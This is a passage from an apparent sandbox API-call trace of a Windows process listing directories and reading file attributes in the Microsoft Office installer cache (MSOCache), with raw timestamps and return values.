	[0050.249] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x1270f7c8 | out: lpFileInformation=0x1270f7c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00)) returned 1
	[0050.249] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270f818 | out: lpFileInformation=0x1270f818*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708)) returned 1
	[0050.249] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1270f868 | out: lpFileInformation=0x1270f868*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.250] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.250] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.257] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.257] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1
	[0050.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1
	[0050.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1
	[0050.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1
	[0050.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1
	[0050.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0050.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.258] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.260] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en"), fInfoLevelId=0x0, lpFileInformation=0x1270fa98 | out: lpFileInformation=0x1270fa98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.261] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.262] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1
	[0050.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1
	[0050.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1
	[0050.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.262] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.262] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), fInfoLevelId=0x0, lpFileInformation=0x1270fbd8 | out: lpFileInformation=0x1270fbd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed)) returned 1
	[0050.263] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), fInfoLevelId=0x0, lpFileInformation=0x1270fc28 | out: lpFileInformation=0x1270fc28*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00)) returned 1
	[0050.264] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270fc78 | out: lpFileInformation=0x1270fc78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543)) returned 1
	[0050.264] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es"), fInfoLevelId=0x0, lpFileInformation=0x1270fcc8 | out: lpFileInformation=0x1270fcc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.264] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.264] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1
	[0050.265] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1
	[0050.265] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1
	[0050.265] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.265] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.265] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), fInfoLevelId=0x0, lpFileInformation=0x1270fe08 | out: lpFileInformation=0x1270fe08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea)) returned 1
	[0050.266] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), fInfoLevelId=0x0, lpFileInformation=0x1270fe58 | out: lpFileInformation=0x1270fe58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200)) returned 1
	[0050.266] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270fea8 | out: lpFileInformation=0x1270fea8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1)) returned 1
	[0050.266] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr"), fInfoLevelId=0x0, lpFileInformation=0x1270fef8 | out: lpFileInformation=0x1270fef8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.266] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.266] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1
	[0050.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1
	[0050.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1
	[0050.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.267] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.267] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), fInfoLevelId=0x0, lpFileInformation=0x12734058 | out: lpFileInformation=0x12734058*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54)) returned 1
